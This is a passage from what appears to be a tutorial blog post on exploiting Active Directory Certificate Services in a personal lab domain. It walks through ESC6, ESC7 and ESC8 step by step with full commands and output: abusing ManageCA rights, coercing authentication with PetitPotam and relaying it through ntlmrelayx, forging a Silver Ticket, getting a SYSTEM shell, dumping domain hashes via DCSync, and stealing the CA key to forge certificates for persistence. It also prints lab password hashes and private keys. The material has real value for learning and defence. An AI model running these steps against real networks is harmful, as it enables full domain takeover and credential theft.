Cert Chain : CN=elswixcorp-DC01-CA,DC=elswixcorp,DC=local -> CN=elswixcorp-DC02-CA,DC=elswixcorp,DC=local
[!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names!
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
Allow ManageCA, ManageCertificates ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Enrollment Agent Restrictions : None
Now, as a normal user, you can request a certificate for any template, specifying an arbitrary SAN. Here, I'll set the Administrator account as the SAN and use the User template:
PS C:\tmp> .\certify.exe request /altname:administrator /ca:DC02.elswixcorp.local\elswixcorp-DC02-CA /template:User
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] AltName : administrator
[*] Certificate Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 22
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvSjiGf90i2crQBi30Awb6rqj4jOk73dbpYHYHPY/geMU+cCf
tcemzgNYhhH3kYYdqTHuSsZx8h3df+C6bTgJEF42p7LcQWBsj2L+XV4LH27XQ6kU
5RFJyUBUaehbmRKbPBeJ9/L+qnzxNJo2tYgsHQ97a6tGrpNTYWZotemTDl3mgkRl
...[snip]...
Djh3TmjrAoGABhOlRz2vPmX3I0Tn4+tOFdTVoWpPcapUv8N6hkKkbx/bO5grBmFo
eUszPWi5k6GKI90Bt5KbgqJHulsrDac/WDbzU2nYkggiXRmTXz/x62yhqe9+KkZP
/ISvv2UfeZtoUbNwHZSDO+DQWHf/p+AtK8uHm7aEZzmRAo1W3+3q3qo=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGBzCCBO+gAwIBAgITPgAAABb4YoJi9o718gAAAAAAFjANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDItQ0EwHhcNMjUwNDAxMDIx
...[snip]...GEB55LG2uFqn9fJx7yKSFeRtWCfUJUAJW7Ahk2UFN
IflBFREs6IboZpajU5eHr3ojKnfRjpQXPi5VAdDCAvw6oFmirso2Nnm9MJgHusk+
pf+kDGVif2Hu1s8=
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:15.2667987
This certificate can now be used to authenticate as Administrator.
Vulnerable Certificate Authority Access Control (ESC7)
Apart from certificate templates, a Certificate Authority (CA) itself has permissions that control various CA actions. These can be accessed through certsrv.msc. From a security standpoint, the most critical permissions are:
-
ManageCA ("CA Administrator"): Grants a principal the ability to perform administrative actions on the CA, including modifying persistent configuration data. Notably, this includes enabling the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, which directly facilitates ESC6 exploitation. This can be achieved using the PSPKI module’s
Enable-PolicyModuleFlag
cmdlet.
-
ManageCertificates ("Certificate Manager/Officer"): Allows a principal to approve pending certificate requests, effectively bypassing the Manager Approval issuance requirement. While this permission alone does not compromise the domain, it removes a key security protection, making exploitation easier.
To demonstrate this technique, we'll take a different approach instead of making the CA vulnerable to ESC6. Although having ManageCA privileges allows enabling the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, restarting the CertSvc
service is required to apply the changes, which may not always be possible.
However, these privileges can still be abused in other ways. In this case, we'll exploit ManageCA privileges to enable the SubCA template and request certificates using it.
The SubCA template has the Supply in Request option for the Subject Name, meaning it is vulnerable to ESC1. The problem is that only Administrators can enroll in this template. This means that if a non-privileged user requests a certificate using this template, the request fails, but a Certificate Manager/Officer can still approve it.
By default, ManageCA privileges do not include ManageCertificates (Certificate Manager/Officer) privileges. However, since we control the CA, we can grant ourselves the necessary privileges to approve the request.
Initially, let's search for misconfigurations using Certify.exe
:
PS C:\tmp> .\certify.exe find /vulnerable
...[snip]...
[*] Listing info about the Enterprise CA 'elswixcorp-DC02-CA'
Enterprise CA Name : elswixcorp-DC02-CA
DNS Hostname : DC02.elswixcorp.local
FullName : DC02.elswixcorp.local\elswixcorp-DC02-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=elswixcorp-DC02-CA, DC=elswixcorp, DC=local
Cert Thumbprint : 7DC78F3D8C2FE11B86C093B1DDF3C4D7D28EC360
Cert Serial : 350000002AB93A8248640A12F400000000002A
Cert Start Date : 3/8/2025 3:59:19 PM
Cert End Date : 3/8/2027 4:09:19 PM
Cert Chain : CN=elswixcorp-DC01-CA,DC=elswixcorp,DC=local -> CN=elswixcorp-DC02-CA,DC=elswixcorp,DC=local
[!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names!
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
Allow ManageCA, ManageCertificates ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Allow ManageCA, Enroll ELSWIXCORP\elswix S-1-5-21-4266111273-315482142-3017431568-1103
Enrollment Agent Restrictions : None
[+] No Vulnerable Certificates Templates found!
Certify completed in 00:00:12.1846555
As seen in the output, elswix
has ManageCA privileges on elswixcorp-DC02-CA
. Since we have his credentials, we can leverage these privileges.
Let’s request a certificate using the SubCA template, providing an arbitrary SAN:
PS C:\tmp> .\certify.exe request /ca:dc02.elswixcorp.local\elswixcorp-DC02-CA /template:SubCA /altname:administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : SubCA
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] AltName : administrator
[*] Certificate Authority : dc02.elswixcorp.local\elswixcorp-DC02-CA
[!] CA Response : The submission failed: Denied by Policy Module
[!] Last status : 0x80094012
[*] Request ID : 23
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAutesd65NxZkzjWrYDx9ttRf+VYBlGGd+ZY4GrA22zcByFZEM
yCkGCviiXPOMbNmlTR5ATWwcm6GvpdFZzpT0T/v7OSUIg25PxrLYx9YpRV+0uNKT
FF/Pqmm5c5tk5dm+h0dXDF9tF4XydNGOMJ9Ysx3C8RCeLHLz14B2RvnPvf4EMaWf
...[snip]...
klrlJ2LBxVYmGMYIHdokkRMxV8gy/1Te/baVSW8WTD7rA6G1wK5vLUhng9nSxl3v
vnatfwKBgGWQz68WnfFCkWwDnj8Yi4N+6SDfIpQoZyMGXEI96KXmc4HfHtE8T+Ej
/vUrjKOjmt1SqdhzYG+C9kwpTiye8sTgUpLPOGz8iTLzBgIAqXcaw7VZHGlOKqUH
1JDJ7dv9/bunSwS4iuHcvOzZmaGs9IEOdgWqjnGugwPBl9DdLTqa
-----END RSA PRIVATE KEY-----
[X] Error downloading certificate: Cert not yet issued yet! (iDisposition: 2)
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:04.1087894
*Evil-WinRM* PS C:\tmp>
As expected, the request failed. However, Certify
returned the request ID, in this case, 23
, which is crucial for the next step (forcing approval). You must also save the returned private key, as it will be needed later.
Before approving the request, let’s grant ourselves the ManageCertificates
privilege. For this, I’ll use certipy
from Linux, as it’s more convenient:
elswix@ubuntu$ certipy ca -add-officer elswix -ca 'elswixcorp-DC02-CA' -dc-ip 192.168.100.3 -target-ip 192.168.100.2 -u elswix -p Password2!
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'elswix' on 'elswixcorp-DC02-CA'
Great! We’ve successfully added ourselves as an officer on elswixcorp-DC02-CA
.
Now, leveraging these privileges, we can force the request approval. This can be done using the PSPKI module:
PS C:\tmp> Import-Module .\PSPKI
PS C:\tmp> Get-CertificationAuthority -Name "elswixcorp-DC02-CA" | Get-FailedRequest -RequestID 23 | Approve-CertificateRequest
HResult StatusMessage
------- -------------
0 The certificate '23' was issued.
PS C:\tmp>
Finally, let’s retrieve the issued certificate using Certify.exe
:
PS C:\tmp> .\Certify.exe download /ca:DC02.elswixcorp.local\elswixcorp-DC02-CA /id:23
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Download a Certificates
[*] Certificates Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] Request ID : 23
[*] cert.pem :
-----BEGIN CERTIFICATE-----
MIIFfjCCBGagAwIBAgITPgAAABdAr4ClGpSkAAAAAAAAFzANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDItQ0EwHhcNMjUwNDA1MTc0
...[snip]...
2wTclONSYBY8YvNGzyx6TbrSMkLdyyA1BGRh/Pk5Zj0UMhSyMz4ybzIg6OsrgJ/+
VxmUQiRSywwk01cOfdx0yr7mc3PGYMzIBxFYR/lOz0DL10axDnhxPRTLOsi+ZJEB
C9+li9fhn745c2sOmX2LbOPq
-----END CERTIFICATE-----
Certify completed in 00:00:00.2893389
Now, copy this certificate to a file, along with the private key we previously saved:
elswix@ubuntu$ cat cert.pem
-----BEGIN CERTIFICATE-----
MIIFfjCCBGagAwIBAgITPgAAABdAr4ClGpSkAAAAAAAAFzANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDItQ0EwHhcNMjUwNDA1MTc0
...[snip]...
2wTclONSYBY8YvNGzyx6TbrSMkLdyyA1BGRh/Pk5Zj0UMhSyMz4ybzIg6OsrgJ/+
VxmUQiRSywwk01cOfdx0yr7mc3PGYMzIBxFYR/lOz0DL10axDnhxPRTLOsi+ZJEB
C9+li9fhn745c2sOmX2LbOPq
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAutesd65NxZkzjWrYDx9ttRf+VYBlGGd+ZY4GrA22zcByFZEM
yCkGCviiXPOMbNmlTR5ATWwcm6GvpdFZzpT0T/v7OSUIg25PxrLYx9YpRV+0uNKT
FF/Pqmm5c5tk5dm+h0dXDF9tF4XydNGOMJ9Ysx3C8RCeLHLz14B2RvnPvf4EMaWf
...[snip]...
klrlJ2LBxVYmGMYIHdokkRMxV8gy/1Te/baVSW8WTD7rA6G1wK5vLUhng9nSxl3v
vnatfwKBgGWQz68WnfFCkWwDnj8Yi4N+6SDfIpQoZyMGXEI96KXmc4HfHtE8T+Ej
/vUrjKOjmt1SqdhzYG+C9kwpTiye8sTgUpLPOGz8iTLzBgIAqXcaw7VZHGlOKqUH
1JDJ7dv9/bunSwS4iuHcvOzZmaGs9IEOdgWqjnGugwPBl9DdLTqa
-----END RSA PRIVATE KEY-----
Then, use openssl
to convert it into a .pfx
file and use it for authentication. This process is always the same.
NTLM Relay to AD CS HTTP Endpoints (ESC8)
This technique abuses NTLM relay attacks against vulnerable AD CS HTTP-based enrollment endpoints, such as the classic certsrv
web interface. These endpoints are exposed when roles like Certificate Authority Web Enrollment, Certificate Enrollment Web Service (CES/CEP), or Network Device Enrollment Service (NDES) are installed.
If these endpoints are not protected with Extended Protection for Authentication (EPA), an attacker can relay NTLM authentication requests (e.g., from coercion attacks like PetitPotam) to one of these interfaces and request a certificate on behalf of the victim — typically a domain controller or any privileged machine account.
Once the attacker obtains a certificate — usually via templates like Machine or User that allow Client Authentication — it can be used to impersonate the victim and potentially compromise the domain. If the victim is a domain controller, this can lead to full domain compromise.
This attack doesn’t exploit certificate templates directly, but instead targets the web enrollment mechanisms of AD CS — which are often overlooked and misconfigured. Despite mitigations in newer Windows versions, many environments still run vulnerable systems, especially with Server 2016.
To demonstrate this vulnerability, I installed the Certificate Authority Web Enrollment role on DC02
.
Demonstration
In the first demonstration, we’ll coerce an NTLM authentication from Workstation01
and relay it to the AD CS HTTP endpoint on DC02
using ntlmrelayx.py
. This should return a certificate for the Workstation01$
computer account, which we can then use to authenticate as that machine — effectively compromising it.
First, I’ll set up the ntlmrelayx
listener. You must specify the destination server where the authentication will be relayed, as well as the type of attack to perform. In this case, we’ll perform an AD CS relay attack, so the target
must point to the vulnerable HTTP enrollment endpoint:
root@ubuntu$ ntlmrelayx.py -t http://192.168.100.2/certsrv/certfnsh.asp --adcs -smb2support --no-http-server
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
Next, I’ll coerce the NTLM authentication using PetitPotam. In the past, this coercion could be triggered without valid credentials, but that behavior was patched in newer versions of Windows Server. Therefore, in this case, I’ll provide the credentials of a regular domain user (it doesn’t need to be privileged).
Specify the listener IP (our attacker's host) and the target IP (Workstation01
in this case):
elswix@ubuntu$ python PetitPotam.py 192.168.100.1 192.168.100.4 -d elswixcorp.local -u elswix -p Password2!
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.4[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
It worked! If you check the ntlmrelayx
listener output, you’ll see that the authentication was successfully received and relayed to the AD CS HTTP endpoint. As a result, we obtained a valid certificate for the Workstation01$
computer account:
root@ubuntu$ ntlmrelayx.py -t http://192.168.100.2/certsrv/certfnsh.asp --adcs -smb2support --no-http-server
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
[*] Servers started, waiting for connections
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.100.4, attacking target http://192.168.100.2
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.100.2 as ELSWIXCORP/WORKSTATION01$ SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Received connection from 192.168.100.4, attacking target http://192.168.100.2
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.100.2 as ELSWIXCORP/WORKSTATION01$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user WORKSTATION01$ since attack was already performed
[*] GOT CERTIFICATE! ID 24
[*] Writing PKCS#12 certificate to ./WORKSTATION01$.pfx
[*] Certificate successfully written to file
Now, we can use Certipy
to authenticate to the KDC using the obtained certificate:
elswix@ubuntu$ certipy auth -pfx WORKSTATION01\$.pfx -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: workstation01$@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'workstation01.ccache'
[*] Trying to retrieve NT hash for 'workstation01$'
[*] Got hash for 'workstation01$@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:825d0602bda156a4d6fe85158b3140ee
We’ve successfully authenticated as Workstation01$
using the certificate, and we also retrieved its NT hash.
To gain access to the WORKSTATION01
system, we can now perform a Silver Ticket attack for the HOST
service:
elswix@ubuntu$ ticketer.py -spn 'HOST/WORKSTATION01' -nthash 825d0602bda156a4d6fe85158b3140ee -domain-sid S-1-5-21-4266111273-315482142-3017431568 -domain elswixcorp.local administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for elswixcorp.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
elswix@ubuntu$ export KRB5CCNAME=administrator.ccache
elswix@ubuntu$ psexec.py workstation01 -k
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on workstation01.....
[*] Found writable share ADMIN$
[*] Uploading file oklvwwzG.exe
[*] Opening SVCManager on workstation01.....
[*] Creating service ZZDc on workstation01.....
[*] Starting service ZZDc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>
Relaying authentication of a Domain Controller
Successfully exploiting this misconfiguration can lead to full domain compromise. The same technique demonstrated earlier can be used, but instead of relaying authentication from a regular domain-joined computer, we can relay authentication from a Domain Controller. This is significantly more dangerous, as compromising a DC account allows us to perform attacks like DCSync
, effectively taking over the entire domain.
Let’s demonstrate this scenario. This time, instead of relaying authentication from Workstation01
, we’ll relay authentication from DC01
.
First, let’s set up the ntlmrelayx
listener again. The configuration is almost the same, but in this case, you must explicitly specify the DomainController
template. Otherwise, ntlmrelayx
will default to requesting a certificate using the Machine
template, which will not work. This is also noted in the help output:
--template TEMPLATE AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`
Execute ntlmrelayx
:
root@ubuntu$ ntlmrelayx.py -t http://192.168.100.2/certsrv/certfnsh.asp --adcs -smb2support --no-http-server --template "DomainController"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
Now, let’s use PetitPotam
again, but this time targeting the IP address of DC01
:
elswix@ubuntu$ python PetitPotam.py 192.168.100.1 192.168.100.3 -d elswixcorp.local -u elswix -p Password2!
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.3[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Success — we’ve obtained a certificate for the DC01$
computer account:
root@ubuntu$ ntlmrelayx.py -t http://192.168.100.2/certsrv/certfnsh.asp --adcs -smb2support --no-http-server --template "DomainController"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
[*] Servers started, waiting for connections
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.100.3, attacking target http://192.168.100.2
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.100.2 as ELSWIXCORP/DC01$ SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Received connection from 192.168.100.3, attacking target http://192.168.100.2
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.168.100.2 as ELSWIXCORP/DC01$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user DC01$ since attack was already performed
[*] GOT CERTIFICATE! ID 25
[*] Writing PKCS#12 certificate to ./DC01$.pfx
[*] Certificate successfully written to file
Let’s authenticate using the certificate with Certipy
:
elswix@ubuntu$ certipy auth -pfx DC01\$.pfx -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc01$@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:962d237322da6dadcf566a1a866b9dc4
Now, with the .ccache
file saved by Certipy
for DC01$
, we can perform a DCSync:
elswix@ubuntu$ secretsdump.py 'elswixcorp.local'/'dc01$'@'192.168.100.2' -hashes :962d237322da6dadcf566a1a866b9dc4 -dc-ip 192.168.100.2
Impacket v0.11.0 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
...[snip]...
WORKSTATION01$:aes256-cts-hmac-sha1-96:248afa8591494c7665a7faf5fb7b08ffeea841e331c4b1abde968d400b37a3f7
WORKSTATION01$:aes128-cts-hmac-sha1-96:e2ab8c2d83feaaf3d0348990a7076a2d
WORKSTATION01$:des-cbc-md5:d6f1235dabdf32f8
[*] Cleaning up...
Domain Persistence
Once we compromise the domain, you'll likely want to maintain access, even if passwords are reset or similar actions are taken. One approach is to extract the CA's private key and then forge your own certificates.
Remember that when generating a certificate, the CA signs it using its private key. This means that if we steal this private key, we can sign our own certificates with arbitrary information, making them valid for authentication as high-privileged users.
This can be done both locally and remotely. I'll demonstrate the remote method using certipy
. Feel free to explore how to do it locally—spoiler: tools such as Mimikatz or SharpDPAPI can help.
First, using the administrator credentials we obtained through DCSync, I'll extract the CA's private key using Certipy
:
elswix@ubuntu$ certipy ca -backup -ca 'elswixcorp-DC02-CA' -u administrator -hashes :58a478135a93ac3bf058a5ea0e8fdb71 -target 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'elswixcorp-DC02-CA.pfx'
[*] Cleaning up
Great! We've successfully extracted the CA's certificate and private key. Now, let's forge a new certificate for the administrator user:
certipy forge -upn administrator -ca-pfx elswixcorp-DC02-CA.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
Now, we can use this forged certificate to authenticate as administrator
:
elswix@ubuntu$ certipy auth -pfx administrator_forged.pfx -domain elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71
Conclusion
Active Directory Certificate Services (AD CS) is a powerful and feature-rich PKI implementation that offers many benefits to enterprise environments. However, it is surprisingly easy to misconfigure, making its deployment potentially dangerous in the hands of inexperienced administrators. In this article, we focused on domain authentication with AD CS—how it works, and how it can be exploited when improperly configured.
In upcoming articles, particularly in Part 2, we’ll explore more recent techniques ranging from ESC9 to ESC15. It's worth noting that many of the techniques demonstrated here are no longer exploitable following the Certifried vulnerability patch in 2022, which we will also discuss in detail. That update introduced several important security improvements to AD CS, mitigating various attacks. Furthermore, starting in February 2025, a new update enforces strong certificate mapping by default, adding yet another layer of protection.
Nonetheless, understanding how these systems were previously abused is essential for understanding how they can still be exploited today—and more importantly, how to defend against such attacks.
References
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://www.thehacker.recipes/ad/movement/adcs/certificate-templates
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.html